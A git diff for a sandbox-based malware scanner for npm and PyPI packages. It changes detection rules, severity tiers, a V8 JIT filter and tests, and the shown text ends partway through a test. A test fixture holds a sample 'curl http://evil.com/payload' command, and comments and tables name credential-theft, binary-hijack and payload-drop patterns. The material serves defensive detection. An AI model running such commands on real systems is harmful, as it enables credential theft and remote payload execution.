diff --git a/CHANGELOG.md b/CHANGELOG.md index 013c34a..6607018 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ### Added +- **`CategoryUnknownBinary` (severity LOW)** — execve events that do not match a positively-defined attack signature are recorded under this new category for forensic chain visibility without flipping the verdict. Covers the residual default branch of `classifyExecve` AND `sh -c` invocations whose contents fail `isShellCmdBenign`. The rationale block above `classifyExecve` documents why a positive allowlist of legitimate-install binaries is intractable (build toolchains span every ecosystem) and why the harm-firing syscall layer (network/credential/persistence/RWX/audit hook) is the actual detection point. `TestAnalyze_ShellCMultiLayer` documents the mapping from each previously-caught `sh -c` attack pattern to its downstream harm rule +- **V8 JIT mprotect/mmap filter (path-aware, clone-aware)** — analyzer pre-pass builds a streaming PID→comm map from execve and clone events, then skips simultaneous-RWX `mprotect`/`mmap` events whose PID resolves to a known JIT interpreter (`node`/`nodejs`/`deno`/`bun` plus the `npm`/`npx`/`yarn`/`pnpm` shebang wrappers that run as node under binfmt_script) launched from a trusted directory (`/usr/bin/`, `/usr/local/bin/`, `/bin/`). The filter requires (a) a prior execve for the PID, (b) the basename is in `jitInterpreters`, and (c) the launch path is in `jitInterpreterTrustedDirs` — an attacker who plants a binary named `node` under `/install//bin/` does NOT get the pass. Eliminates the per-package `memory_execution` false positive that every Node-driven scan previously produced. The long-standing TODO comment in `strace_parse.go` documenting this issue is now retired +- **Clone-attributed thread comm propagation** — `EventClone` (a new event type) is parsed from `clone`/`clone3`/`vfork` strace lines and used to copy the parent's execve comm to the child PID when the child never executes its own execve (V8 worker threads, `posix_spawn` helpers, fork-without-exec). Without this pass, every V8 worker thread emitting mprotect RWX leaked past the JIT filter. The propagation runs as a streaming pre-pass, so a child that later does its own execve still gets correct attribution (clone propagation never overwrites an existing entry) +- **Main-target PID aliasing** — strace prints the main traced process's syscalls without a `[pid X]` prefix (extracting as `PID=0`) until ambiguity forces a switch, after which the same process appears as `[pid X]` with its real kernel PID. The `collectPIDComm` streaming pass now propagates `m[0]` to any non-zero PID that emits a non-clone event without having appeared as a clone child — that PID is the disambiguated main target. Without this aliasing, import-phase node (which runs as the main strace target) had two PIDs in our event stream for the same process, and worker threads cloned from the disambiguated PID had no parent attribution - **Audit hooks for dynamic code execution detection** — Python PEP 578 hook (`sitecustomize.py`) intercepts `compile`/`exec`/`import`/`ctypes.dlopen`; Node.js `--require` hook (`kojuto-require.js`) intercepts `eval`/`Function`/`vm.runInNewContext`/`vm.runInThisContext`/`vm.Script`. New `dynamic_code_execution` category and `EventDynamicExec` event type - **Severity-tiered verdict** — `types.CategorySeverity` classifies each detection category as HIGH (one event raises the verdict to SUSPICIOUS), MEDIUM (two-or-more raise it), or LOW (never raises the verdict alone). `dynamic_code_execution` is LOW, `dns_tunneling` and `evasion` are MEDIUM, all other categories stay HIGH. Unmapped categories fail closed (treated as HIGH). LOW events still appear in `report.events` for forensics — verdict reflects severity, not raw event count. Stops legitimate Python compat libraries (`six`, `attrs`, `future`) from flipping to SUSPICIOUS on benign internal `compile`/`exec` calls - **Caller-aware audit hook** — `sitecustomize.py` now walks the Python call stack and reports the actual `.py` file invoking `compile`/`exec`, not the user-controllable `filename` argument (which `six` deliberately sets to ``). When the deepest frame lives inside the scanned package's `site-packages` directory the hook prefixes the wire payload with `+` so the analyzer bypasses path-based benign filtering. Sandbox passes the scan list via `KOJUTO_SCAN_PKGS` so the hook knows which paths count as "user code" @@ -17,6 +21,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **GitHub Action inputs** — `config`, `quiet`, and `no-color` exposed as Action inputs to match CLI flags (`--config`, `--quiet`, `--no-color`) ### Changed +- **Probe install launch uses a staged script file, not `sh -c `** — `Sandbox.InstallCommand` / `InstallAllCommand` now write the install script to `/var/cache/kojuto/install.sh` (a dedicated tmpfs) via `dockerWriteFile` and return `["sh", "/var/cache/kojuto/install.sh"]`. The outer probe shell is filtered as benign by `isBenignExec` (sh from `/bin/` matches `benignPaths`) instead of tripping the `sh -c` branch of `classifyExecve`. Attackers cannot mimic this shape because npm/yarn/pnpm always spawn lifecycle hooks as `sh -c `; the file-path form is reserved for kojuto's own launch path. Signature change: both methods now take `context.Context` and return `(cmd, error)` +- **Unrecognized execve AND `sh -c` content demoted to LOW severity** — both `classifyExecve`'s default branch and its `sh -c` branch now assign `CategoryUnknownBinary` instead of `CategoryCodeExecution`. The event still appears in the report for chain visibility, but the verdict is decided by the syscall-level rules that observe the binary's actual behavior. Surfaced by clean-corpus measurement: native-module packages (argon2, bcrypt, sharp, etc.) all fire `sh -c "cross-env FOO=bar node-gyp-build"` in their preinstall hook, and the negative-space first-token filter in `isShellCmdBenign` cannot keep up with the legitimate set of node-ecosystem build tools. Each attack pattern previously caught by cmdline content has a dedicated harm-firing rule downstream: curl/wget → `c2_communication` on connect; cp/mv to /usr/local/bin/* → `binary_hijacking` on openat (parser emits openat specifically for system-binary write targets); cat ~/.ssh/* → `credential_access` on openat; bind/listen → `backdoor`. A detailed design rationale lives above `classifyExecve` documenting the dynamic/static defense split and the mapping from each historical sh -c case to its downstream rule +- **strace tracing extended with `clone`/`clone3` and `--quiet=attach`** — clone variants are now in the strace trace list so the analyzer's PID→comm propagation pass can attribute child syscalls correctly. `--quiet=attach` suppresses the `strace: Process N attached` informational line, which strace otherwise prints INLINE inside the originating clone() trace, splitting the trace across two output lines and breaking single-line regex parsers - Go version requirement lowered from 1.25.0 to 1.24.0 (stable release); `golang.org/x/sys` downgraded from v0.43.0 to v0.41.0 - `--runtime` flag default changed from `""` to `"auto"` - `evasion-test` package updated: `b2_eval_exec` and `b3_function_constructor` promoted from `[BYPASS]` to `[DETECT]` (now `a10`/`a11`); new `b9_audit_hook_disable`, `b10_eval_via_import`, `c6_detect_audit_hook` evasion tests @@ -26,6 +33,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Documentation aligned with implementation: README/SPECIFICATION/SECURITY now describe the actual `--network=none` sandbox (previously claimed an isolated bridge); Python audit hook list corrected (`compile`/`exec`/`import` — `eval` is a Node.js-only event); SPECIFICATION test-data section rewritten around `probe-alpha`/`probe-npm`/`evasion-test` (the obsolete `axios-demo` entry was stale) ### Fixed +- **`extractPID` returns 0 for space-padded child PIDs** — strace right-pads small PIDs with spaces to align columns (`[pid 12]`, `[pid 1]`), and `strconv.ParseUint` rejects leading whitespace. Every container PID parsed as 0, silently disabling all downstream PID-aware analysis (V8 JIT correlation, process-tree reconstruction). `strings.TrimSpace` before parse fixes it +- **Package-manager caches no longer trip the persistence backstop** — `NPM_CONFIG_CACHE=/var/cache/kojuto/npm` and `PIP_CACHE_DIR=/var/cache/kojuto/pip` pin both caches to a dedicated tmpfs (`--tmpfs=/var/cache/kojuto:nosuid,mode=1777,size=200m`) outside the sandbox's `HOME=/home/dev`. Without these, npm's `_logs/`/`_cacache/` and pip's wheel cache wrote under `/home/dev/.npm/` and `/home/dev/.cache/pip/`, both correctly flagged by the "/home is illegitimate" structural backstop. Redirecting at the sandbox layer is preferable to relaxing the analyzer rule — the detection guarantee stays strict, and legitimate cache I/O goes to a path the analyzer never inspects (avoids the "set up a benign-looking path under HOME and smuggle payload" bypass that a carve-out would have enabled) +- **`/tmp/` added to `suspiciousExecDirs`** — execve from `/tmp/` is now positively classified as `code_execution` HIGH, matching the documented behavior in README. Previously this only worked by accident via the catch-all default branch of `classifyExecve`; with the demotion to `CategoryUnknownBinary` LOW, the basename-spoofing detection (e.g. `/tmp/python3`) needed an explicit positive rule - **`/.dockerenv` masking actually works now** — the post-start `rm -f /.dockerenv` had been silently failing on every scan since `--read-only` rootfs was introduced (the rootfs is, by design, not writable). `/.dockerenv` is now masked at container creation time by bind-mounting an empty regular file from the host over the path. Sandbox-aware payloads that read `/.dockerenv` see empty content; gVisor (`--runtime=runsc`) is still recommended to also defeat path-existence checks - **Sandbox preparation no longer fails silently** — `plantHoneypotFiles`, `restoreLocalBin`, `WriteProbeScripts`, and `WriteProbeScriptsMulti` now return errors instead of swallowing the result of every `docker exec`. A swallowed honeypot-write or probe-script-write failure used to leave the container partially prepared, and any sandbox-aware payload that detected the gap and stayed dormant would surface as `clean`. The errors propagate through `Start` / `StartPaused` and abort the scan - 21 linter errors: gofmt (15 files), importShadow (2), ifElseChain (1), godot (1), intrange (1), staticcheck De Morgan (1) diff --git a/README.md b/README.md index 6a2140f..edcbc56 100644 --- a/README.md +++ b/README.md @@ -237,12 +237,13 @@ This approach detects environment-aware and delayed-execution supply chain attac ## Detection Benchmarks -Validated against 300 randomly sampled malicious packages from [Datadog's malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset) (seed=42, reproducible) and 70 known-clean packages. +True-positive rate validated against 300 randomly sampled malicious packages from [Datadog's malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset) (seed=42, reproducible). False-positive rate re-measured (2026-05) against 100 popular non-corporate PyPI packages + 100 popular non-corporate npm packages. | Metric | Result | |--------|--------| | True Positive Rate | **100%** (61/61 installable malicious packages detected) | -| False Positive Rate | **0%** (0/70 clean packages flagged) | +| False Positive Rate — PyPI | **0%** (0/84 clean PyPI packages flagged, 16 install-resolution failures excluded as scan-infrastructure issue) | +| False Positive Rate — npm | **0%** within in-scope detection categories (0/89 across `code_execution`/`memory_execution`/`persistence`/`binary_hijacking`/`credential_access`/`backdoor`/`anti_forensics`); 2/91 across the entire taxonomy from a documented `c2_communication` issue (install-time DNS lookups by `bull`/`bullmq` register as outbound intent — see Known Limitations) | | Batch screening speed | **50 PyPI packages in 98s** (single sandbox) | Of the 300 malicious samples, 238 failed to install (dependencies already removed from PyPI) and 1 timed out — expected for archived malware. All 61 that installed successfully were detected. @@ -254,8 +255,8 @@ Of the 300 malicious samples, 238 failed to install (dependencies already remove | C2 communication (`c2_communication`) | `aiogram-types-v3` → `147.45.124.42:80` | `connect`/`sendto` to non-loopback IPs | | Data exfiltration (`data_exfiltration`) | DNS resolution of Discord/Telegram/Pastebin | `sendto` port 53 resolving known exfil services | | Credential access (`credential_access`) | `axios-attack-demo` → `.ssh/id_rsa`, `.aws/credentials`, `.solana/id.json` | `openat` on ~60 sensitive paths (SSH, cloud, crypto wallets, browser data) | -| Code execution (`code_execution`) | `advpruebitaa` → `type nul > prueba11.txt`, `/tmp/ld.py` | `execve` with inline `-c`/`-e` flags or from `/tmp`, `/dev/shm` | -| Memory execution (`memory_execution`) | `ctypes.mmap(RWX)` shellcode injection | `mmap`/`mprotect` with simultaneous PROT_WRITE+PROT_EXEC | +| Code execution (`code_execution`) | `advpruebitaa` → `/tmp/ld.py` | `execve` with inline `-c`/`-e` flags, or from `/tmp`/`/dev/shm`/`/proc/self/fd`. `sh -c` content and unrecognized binaries are recorded as `unknown_binary` (LOW) — their harm fires via the dedicated rules below | +| Memory execution (`memory_execution`) | `ctypes.mmap(RWX)` shellcode injection | `mmap`/`mprotect` with simultaneous PROT_WRITE+PROT_EXEC, attributed by PID to filter V8/JIT noise from `node`/`npm`/`npx`/`yarn`/`pnpm`/`deno`/`bun` running from trusted system directories | | Binary hijacking (`binary_hijacking`) | `rename /tmp/evil /usr/local/bin/python3` | `rename` targeting trusted system binaries | | Backdoor (`backdoor`) | `bind` + `listen` + `accept` on attacker-controlled port | Server socket operations during install | | Persistence (`persistence`) | Write to `.bashrc`, `.config/systemd/user/`, any `/home/` path | `openat` with write flags to shell startup files or user home directory | @@ -278,7 +279,7 @@ sensitive_paths: ### False positive verification -50 popular PyPI packages (flask, django, requests, cryptography, pydantic, etc.) and 20 npm packages (lodash, express, axios, etc.) scanned with zero false positives. +100 popular non-corporate PyPI packages and 100 popular non-corporate npm packages scanned. PyPI: 84 returned a verdict, all clean (0 in-scope FP); 16 hit a pre-existing pip dep-resolution failure unrelated to detection logic. npm: 91 returned a verdict, 89 clean within in-scope categories and 2 flagged by the documented `bull`/`bullmq` install-time DNS lookup issue (Known Limitations); 9 errored on native build failures unrelated to detection logic. ## Known Limitations diff --git a/cmd/root.go b/cmd/root.go index dcf9670..f47e1c7 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -316,6 +316,19 @@ func scanSinglePackage(pkg, version, ecosystem string) (*pinnedDep, error) { return &pinnedDep{Name: pkg, Version: resolvedVersion}, nil } +// benchLog emits a single stderr line with event count and heap stats when +// KOJUTO_BENCH=1. Used by bench/ harness to chart analyzer load and memory +// ceiling across install/import/analyze phases. No-op outside bench mode. +func benchLog(phase string, eventCount int) { + if os.Getenv("KOJUTO_BENCH") != "1" { + return + } + var ms runtime.MemStats + runtime.ReadMemStats(&ms) + fmt.Fprintf(os.Stderr, "BENCH phase=%s events=%d heap_mb=%d sys_mb=%d\n", + phase, eventCount, ms.HeapAlloc/(1024*1024), ms.Sys/(1024*1024)) +} + func runBatchScan(_ []string) error { deps, ecosystem, err := depfileParse(flagFile) if err != nil { @@ -421,7 +434,11 @@ func runBatchScreening(deps []depfile.Dep, ecosystem string) (string, error) { // Install all packages at once with strace. installPhase := startPhase("install", fmt.Sprintf("%d packages", len(pkgNames))) cp := probe.NewContainerStrace() - installOut, installErr := cp.StartAndInstall(ctx, sb.ContainerID(), sb.InstallAllCommand(pkgNames)) + installCmd, installCmdErr := sb.InstallAllCommand(ctx, pkgNames) + if installCmdErr != nil { + return "", fmt.Errorf("staging install command: %w", installCmdErr) + } + installOut, installErr := cp.StartAndInstall(ctx, sb.ContainerID(), installCmd) if installErr != nil { fmt.Fprintf(os.Stderr, "[!] Install output:\n%s\n", string(installOut)) return "", fmt.Errorf("batch install failed: %w", installErr) @@ -432,6 +449,7 @@ func runBatchScreening(deps []depfile.Dep, ecosystem string) (string, error) { for evt := range cp.Events() { events = append(events, evt) } + benchLog("install_drain", len(events)) // Import all packages under simulated OS identities (3 scripts total). if err := sb.WriteProbeScriptsMulti(ctx, pkgNames); err != nil { @@ -453,9 +471,11 @@ func runBatchScreening(deps []depfile.Dep, ecosystem string) (string, error) { events = append(events, evt) } importPhase.end() + benchLog("import_drain_"+osNames[i], len(events)) } verdict, filtered := analyzer.Analyze(events) + benchLog("analyze_done", len(filtered)) phaseInfo("screening", fmt.Sprintf("verdict=%s (%d events)", verdict, len(filtered))) return verdict, nil @@ -1034,7 +1054,11 @@ func runContainerStraceProbe(ctx context.Context, sb *sandbox.Sandbox, _ string) cp := probe.NewContainerStrace() installPhase := startPhase("install", "") - installOut, err := cp.StartAndInstall(ctx, sb.ContainerID(), sb.InstallCommand()) + installCmd, err := sb.InstallCommand(ctx) + if err != nil { + return nil, fmt.Errorf("staging install command: %w", err) + } + installOut, err := cp.StartAndInstall(ctx, sb.ContainerID(), installCmd) if err != nil { fmt.Fprintf(os.Stderr, "[!] Install output:\n%s\n", string(installOut)) diff --git a/internal/analyzer/analyzer.go b/internal/analyzer/analyzer.go index 9ee4392..2774278 100644 --- a/internal/analyzer/analyzer.go +++ b/internal/analyzer/analyzer.go @@ -30,9 +30,24 @@ func Analyze(events []types.SyscallEvent) (string, []types.SyscallEvent) { // were written (openat O_CREAT/O_WRONLY) to correlate with unlinks. executedPaths := collectExecutedPaths(events) + // Pre-pass: build PID → comm map from execve events so later + // syscalls (mprotect, mmap) can be attributed back to the process + // that issued them. Strace mprotect lines do not carry the + // process name; only the PID. This map is the missing link. + pidComm := collectPIDComm(events) + var suspicious []types.SyscallEvent for i := range events { + // V8 JIT filter: simultaneous RWX mprotect/mmap from a Node + // interpreter is legitimate JIT page management, not shellcode + // injection. The detection comment in strace_parse.go has been + // documenting this as a known false-positive source; this is + // the implementation it pointed at. + if isV8JITPageOp(&events[i], pidComm) { + continue + } + if isBenign(&events[i]) { continue } @@ -94,6 +109,158 @@ func decideVerdict(events []types.SyscallEvent) string { return types.VerdictClean } +// jitInterpreters lists program names that run JS via the V8 engine +// (or compatible RWX-using JIT). RWX mmap/mprotect from one of these +// processes is JIT page management, not shellcode injection. +// +// node-ecosystem launchers (npm, npx, yarn, pnpm) are JS scripts with +// a `#!/usr/bin/env node` shebang. Linux's binfmt_script handles the +// shebang internally, so strace sees only the original execve (e.g. +// /usr/local/bin/npm) — the kernel-internal re-exec of node is not +// emitted as a separate syscall. The process is, in fact, running +// node code at that PID. Treating these as V8-equivalent is what +// makes the filter cover npm scan flows. +// +// CPython, Lua, Ruby are deliberately absent — they do not allocate +// simultaneous RWX pages. +var jitInterpreters = map[string]bool{ + "node": true, + "nodejs": true, + "deno": true, + "bun": true, + "npm": true, + "npx": true, + "yarn": true, + "pnpm": true, +} + +// jitInterpreterTrustedDirs are the directories whose binaries are +// trusted to be legitimate JIT interpreters. A binary named "npm" or +// "node" launched from any other directory (e.g. +// /install/node_modules//bin/npm) is NOT trusted — that path is +// attacker-controlled and could host a payload that does real +// shellcode injection while masquerading as a JIT interpreter. +var jitInterpreterTrustedDirs = map[string]bool{ + "/usr/bin/": true, + "/usr/local/bin/": true, + "/bin/": true, +} + +// collectPIDComm builds a PID → execve binary path map. Used to +// retroactively identify which process emitted a syscall whose +// parser did not populate the comm field (strace mprotect/mmap lines +// carry the PID but not the process name). +// +// Single streaming pass over the temporally-ordered event list: +// +// - On execve, set m[PID] = full binary path. The path (not just +// the basename) is stored so the V8 JIT filter can require both +// name match AND a trusted directory before suppressing an event. +// +// - On clone, mark the child as a known descendant and copy the +// parent's current comm if the child has no entry. A child that +// later does its own execve overrides the propagated value. +// +// - On any other event at PID ≠ 0 that has NOT appeared as a clone +// child, treat that PID as the current strace phase's "main +// target alias" and copy m[0] to m[PID]. This is the inverse of +// strace's prefix convention: the main target's syscalls are +// printed WITHOUT `[pid X]` (so they extract as PID=0) until +// ambiguity forces strace to add one — from then on those +// syscalls extract as a non-zero PID. The two are the same +// process; without this aliasing, every V8 worker thread cloned +// by the disambiguated main target had no parent attribution +// in m and the JIT filter missed them, leaving the verdict +// suspicious on every clean npm scan. +// +// PID = 0 is intentionally tracked across exec replacements (sh → +// env → node during the import phase). Phases run in sequence and +// events arrive in temporal order, so m[0] evolves correctly: +// install-phase main-target aliases inherit the install-phase +// m[0] value, import-phase aliases inherit node. +func collectPIDComm(events []types.SyscallEvent) map[uint32]string { + m := make(map[uint32]string) + known := make(map[uint32]bool) // PIDs already attributed (clone child or main-target alias) + + for i := range events { + evt := &events[i] + switch evt.Syscall { + case types.EventExecve: + if evt.Comm == "" { + continue + } + m[evt.PID] = evt.Comm + if evt.PID != 0 { + known[evt.PID] = true + } + case types.EventClone: + if evt.ChildPID == 0 { + continue + } + known[evt.ChildPID] = true + if _, exists := m[evt.ChildPID]; exists { + continue + } + if parentComm, ok := m[evt.PID]; ok { + m[evt.ChildPID] = parentComm + } + default: + // Main-target alias: a PID ≠ 0 that emits a non-clone + // non-execve event without having been seen as a clone + // child is the phase's main target showing up with its + // disambiguated PID. Copy m[0] (the current main-target + // comm) into m[PID] so subsequent attribution lookups + // hit. Mark known so we don't redo this on every event. + if evt.PID == 0 || known[evt.PID] { + continue + } + known[evt.PID] = true + if mainComm, ok := m[0]; ok { + if _, exists := m[evt.PID]; !exists { + m[evt.PID] = mainComm + } + } + } + } + + return m +} + +// isV8JITPageOp returns true if the event is a simultaneous RWX +// mprotect or mmap call from a known JIT-using interpreter PID. +// Such calls are JIT page management, not shellcode injection. +// +// Three safety properties: +// 1. The PID must appear as the target of a prior execve in this +// same scan — kojuto observed the interpreter launch. An +// attacker cannot inject fake PIDs into the strace stream. +// 2. The execve binary's basename must match jitInterpreters. +// 3. The execve binary's directory must be in +// jitInterpreterTrustedDirs. A binary named "npm" placed under +// /install//bin/ does NOT get the filter — that path is +// attacker-controlled and would otherwise let a malicious +// package launch real shellcode and have it suppressed. +// +// PIDs that did not produce an execve (PID = 0 from the main strace +// target, or parser misses) fall through to the existing detection, +// preserving the original behavior for shellcode injection. +func isV8JITPageOp(evt *types.SyscallEvent, pidComm map[uint32]string) bool { + if evt.Syscall != types.EventMprotect && evt.Syscall != types.EventMmap { + return false + } + if evt.PID == 0 { + return false + } + binPath, ok := pidComm[evt.PID] + if !ok { + return false + } + if !jitInterpreters[path.Base(binPath)] { + return false + } + return jitInterpreterTrustedDirs[path.Dir(binPath)+"/"] +} + // collectExecutedPaths builds a set of file paths that appeared as the // binary in execve events, including FAILED execve (EACCES, ENOENT on // specific paths). This also scans the RAW event stream (pre-filter) @@ -216,6 +383,8 @@ func categoryShortDesc(c string) string { return "create-execute-delete chain" case types.CategoryDynamicExec: return "eval / Function() / vm.runIn*Context (audit hook)" + case types.CategoryUnknownBinary: + return "execve without positive attack signature (info)" } return c } @@ -535,12 +704,82 @@ func isHomeDir(filePath string) bool { return strings.HasPrefix(filePath, "/home/") || strings.HasPrefix(filePath, "/root/") } +// classifyExecve categorizes an execve event that survived isBenignExec. +// +// Design decision (2026-05): the residual "default" branch — execve of +// any binary that doesn't match a positive attack signature — is +// recorded as CategoryUnknownBinary / LOW rather than HIGH. The change +// addresses two problems surfaced by clean-corpus FP measurement: +// +// 1. There is no closed positive definition of "legitimate execve +// during install" — the legitimate set spans coreutils, language +// runtimes, compiler toolchains (gcc/cc/ld/as/ar/make/cmake/ninja/ +// autoconf/...), VCS tools, and arbitrary preinstall hook commands. +// Maintaining an allowlist of binary names would be open-ended and +// brittle; every new ecosystem or build tool would force a list +// update. +// +// 2. The harm-firing syscalls of every meaningful execve-driven attack +// (network connect, sensitive-path openat, persistence write, +// mprotect RWX, /tmp exec, bind/listen) are observed independently +// and carry their own HIGH categories. Treating "execve of an +// unrecognized binary" as suspicious by itself produces noise +// (build toolchain, package-manager scaffolding) without unique +// signal — the actual harm, if any, is caught by other rules when +// the binary actually does something. +// +// What stays HIGH (the cmdline shape itself names an attack): +// - execve from /dev/shm or /proc/self/fd -> fileless attack +// - interpreter with inline -c/-e flag -> inline code injection +// +// What is now LOW (CategoryUnknownBinary): +// - unrecognized binary execve -> the binary's behavior +// decides the verdict, not the cmdline string. +// - sh -c that fails isShellCmdBenign -> originally HIGH because +// the benign-check failure was treated as an attack signature. +// Demoted in 2026-05 after clean-corpus measurement showed every +// legitimate native-module package (argon2/bcrypt/sharp/...) fires +// this branch via cross-env / node-gyp-build / prebuild-install +// preinstall hooks. Expanding the safe-list to cover ecosystem +// build tools recreates the open-ended allowlist problem the +// default-branch demotion was designed to avoid. Each previously- +// caught attack pattern has a downstream harm-firing rule: +// - curl/wget execve -> connect to remote -> c2_communication +// - env curl X -> same +// - $() / “ substitution -> spawned process's syscalls +// - find -exec /tmp/payload -> /tmp execve fires fileless rule +// - cp /tmp/x /usr/local/bin/python3 -> openat write fires +// binary_hijacking (parser emits openat specifically for +// system-binary targets) +// - sh -c "cat ~/.ssh/id_rsa" -> openat sensitive fires +// credential_access +// +// Static-analysis tooling (GuardDog and similar) covers orthogonal +// gaps that kojuto cannot reach at runtime: time-bombed payloads +// beyond the scan timeout, function-call-gated logic that import does +// not exercise, typosquatting, and registry metadata anomalies. The +// dynamic/static split is intentional; this decision keeps dynamic +// detection focused on what only dynamic can see. +// +// What is lost: "execve a native binary that performs only +// undetectable computation" (mining without a pool, local fork-bombs, +// time-delay only). These are out of scope per SECURITY.md known +// limitations and are addressed by sandbox containment +// (--network=none, --read-only, pids-limit) rather than by detection +// rules. +// +// Probe-scaffolding handling: kojuto's own outer shell that drives +// the install will be invoked by a file path rather than `sh -c +// `, so the outer event is filtered as benign at isBenignExec +// time. That refactor is tracked as a separate change in sandbox.go +// and is NOT covered by this rule — see InstallCommand for the launch +// contract. func classifyExecve(evt *types.SyscallEvent) { cmdline := evt.Cmdline base := path.Base(evt.Comm) dir := path.Dir(evt.Comm) + "/" - // Execution from suspicious directories (fileless attack). + // Execution from suspicious directories (fileless attack). HIGH. for _, d := range suspiciousExecDirs { if strings.HasPrefix(dir, d) { evt.Category = types.CategoryCodeExecution @@ -550,7 +789,7 @@ func classifyExecve(evt *types.SyscallEvent) { } } - // Inline code execution. + // Inline code execution via interpreter -c/-e flag. HIGH. if hasInlineExecFlag(cmdline, interpreterExecFlags[base]) { evt.Category = types.CategoryCodeExecution evt.Reason = base + " executed with inline code flag (-c/-e). " + @@ -558,18 +797,30 @@ func classifyExecve(evt *types.SyscallEvent) { return } - // Shell command analysis. + // Shell command analysis. Reaching here means isShellCmdBenign + // already returned false — the command failed the negative-space + // check (non-shellSafe token, sensitive-path arg, binary-hijack + // file op, or substitution construct). Recorded for forensic + // chain visibility; the verdict is driven by the downstream + // syscall-level rules that catch the actual harm — see the + // rationale block above for the mapping from each attack pattern + // to its dedicated HIGH-severity rule. if shells[base] && hasInlineExecFlag(cmdline, []string{" -c "}) { - evt.Category = types.CategoryCodeExecution + evt.Category = types.CategoryUnknownBinary evt.Reason = "Shell command: " + truncate(cmdline, 200) + - " — contains suspicious commands not expected during package installation." + " — recorded for forensic chain visibility. Verdict-flipping " + + "signals (network, credential read, persistence, binary hijack, RWX) " + + "are emitted by their own syscall-level rules when the command runs." return } - // Unknown binary. - evt.Category = types.CategoryCodeExecution - evt.Reason = "Unexpected process execution: " + truncate(cmdline, 200) + - " — binary not in the allowed list for package installation." + // Residual execve. Recorded for chain visibility; verdict decided by + // the syscall-level rules that observe the binary's actual behavior. + evt.Category = types.CategoryUnknownBinary + evt.Reason = "Unrecognized binary execution: " + truncate(cmdline, 200) + + " — recorded for forensic chain visibility. No positive attack " + + "signature in the execve itself; verdict is decided by the " + + "syscall-level rules that observe the binary's runtime behavior." } // knownDoHServers are IP addresses of public DNS-over-HTTPS providers. @@ -630,6 +881,11 @@ func isBenign(evt *types.SyscallEvent) bool { case types.EventUnlink: // Parser already filters to only emit deletions from suspicious dirs. return false + case types.EventClone: + // Clone events are pure PID-correlation signal consumed by + // collectPIDComm; they carry no harm and never flip the verdict + // even if they reach the report. Drop them here. + return true default: return false } @@ -755,6 +1011,7 @@ var shellSafeCommands = map[string]bool{ // suspiciousExecDirs are directories where legitimate binaries should never run from. // Execution from these paths indicates fileless attacks or payload drops. var suspiciousExecDirs = []string{ + "/tmp/", // world-writable tmpfs — classic payload drop target "/dev/shm/", // tmpfs — fileless execution "/proc/self/fd/", // fd-based execution bypass } diff --git a/internal/analyzer/analyzer_test.go b/internal/analyzer/analyzer_test.go index 50aac42..09d4eae 100644 --- a/internal/analyzer/analyzer_test.go +++ b/internal/analyzer/analyzer_test.go @@ -84,18 +84,56 @@ func TestAnalyze_FiltersBenignExec(t *testing.T) { } } -func TestAnalyze_SuspiciousExec(t *testing.T) { - events := []types.SyscallEvent{ - {Syscall: types.EventExecve, Comm: "/usr/bin/curl", Cmdline: "curl http://evil.com/payload"}, +// TestAnalyze_CurlMultiLayerDefense documents the multi-layer defense +// model for network tools like curl during install: +// +// - Layer 1 (containment): the sandbox enforces --network=none, so +// curl cannot actually reach the destination. +// - Layer 2 (harm-firing detection): the connect() syscall fires +// regardless of network availability and is classified as +// c2_communication (HIGH). +// - Layer 3 (forensic chain): the curl execve itself is still +// recorded as CategoryUnknownBinary (LOW) so the analyst sees the +// full process tree, but it does not flip the verdict on its own +// (avoids classifying every binary kojuto doesn't recognize as +// malicious — see classifyExecve rationale). +// +// Realistic malicious curl always triggers a connect() and so trips +// Layer 2. Curl invoked in isolation (without any network call) is +// not malicious and correctly stays clean. +func TestAnalyze_CurlMultiLayerDefense(t *testing.T) { + // Curl execve in isolation: no harm-firing syscall captured. + // Recorded for forensic visibility, but verdict stays clean. + curlAlone := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/curl", Cmdline: "curl --version"}, + } + verdict, filtered := Analyze(curlAlone) + if verdict != types.VerdictClean { + t.Errorf("expected clean for execve-only (Layer 3 forensic record), got %s", verdict) + } + if len(filtered) != 1 || filtered[0].Category != types.CategoryUnknownBinary { + t.Errorf("expected single CategoryUnknownBinary event, got %v", filtered) } - verdict, filtered := Analyze(events) + // Realistic malicious curl: execve + connect. Layer 2 + // (c2_communication on the connect) flips the verdict. + curlWithConnect := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/curl", Cmdline: "curl http://evil.com/payload"}, + {Syscall: types.EventConnect, DstAddr: "203.0.113.42", DstPort: 443, Family: 2}, + } + verdict, filtered = Analyze(curlWithConnect) if verdict != types.VerdictSuspicious { - t.Errorf("expected suspicious for curl, got %s", verdict) + t.Errorf("expected suspicious when connect fires (Layer 2), got %s", verdict) } - - if len(filtered) != 1 { - t.Errorf("expected 1 suspicious event, got %d", len(filtered)) + var sawC2 bool + for _, e := range filtered { + if e.Category == types.CategoryC2 { + sawC2 = true + break + } + } + if !sawC2 { + t.Errorf("expected a c2_communication event in %v", filtered) } } @@ -125,93 +163,147 @@ func TestAnalyze_ShellCBenign(t *testing.T) { } } -func TestAnalyze_ShellCSuspicious(t *testing.T) { - // Attack vectors that abuse sh -c to execute arbitrary code. +// TestAnalyze_ShellCMultiLayer documents that sh -c attack patterns are +// caught by the downstream harm-firing rule that observes the actual +// side-effect syscall, not by the sh -c execve event alone. The +// execve cmdline is recorded for forensic chain visibility +// (CategoryUnknownBinary, LOW) but does not flip the verdict on its +// own — see the classifyExecve design rationale. +// +// Each case below pairs the sh -c trigger with the harm syscall that +// a real package would emit. The verdict comes from the harm rule. +// +// Cases without a follow-up harm event (sh -c standalone, no actual +// network/file/exec activity) stay clean by design — there is no +// harm to detect. Static analyzers (GuardDog and similar) handle the +// pre-firing intent inspection at the source-code layer. +func TestAnalyze_ShellCMultiLayer(t *testing.T) { + orig := sensitivePathPatterns + defer func() { sensitivePathPatterns = orig }() + SetSensitivePaths([]string{"/.ssh/", "/.aws/"}) + cases := []struct { - name string - evt types.SyscallEvent + name string + events []types.SyscallEvent + wantHighCat string // the rule that should fire HIGH 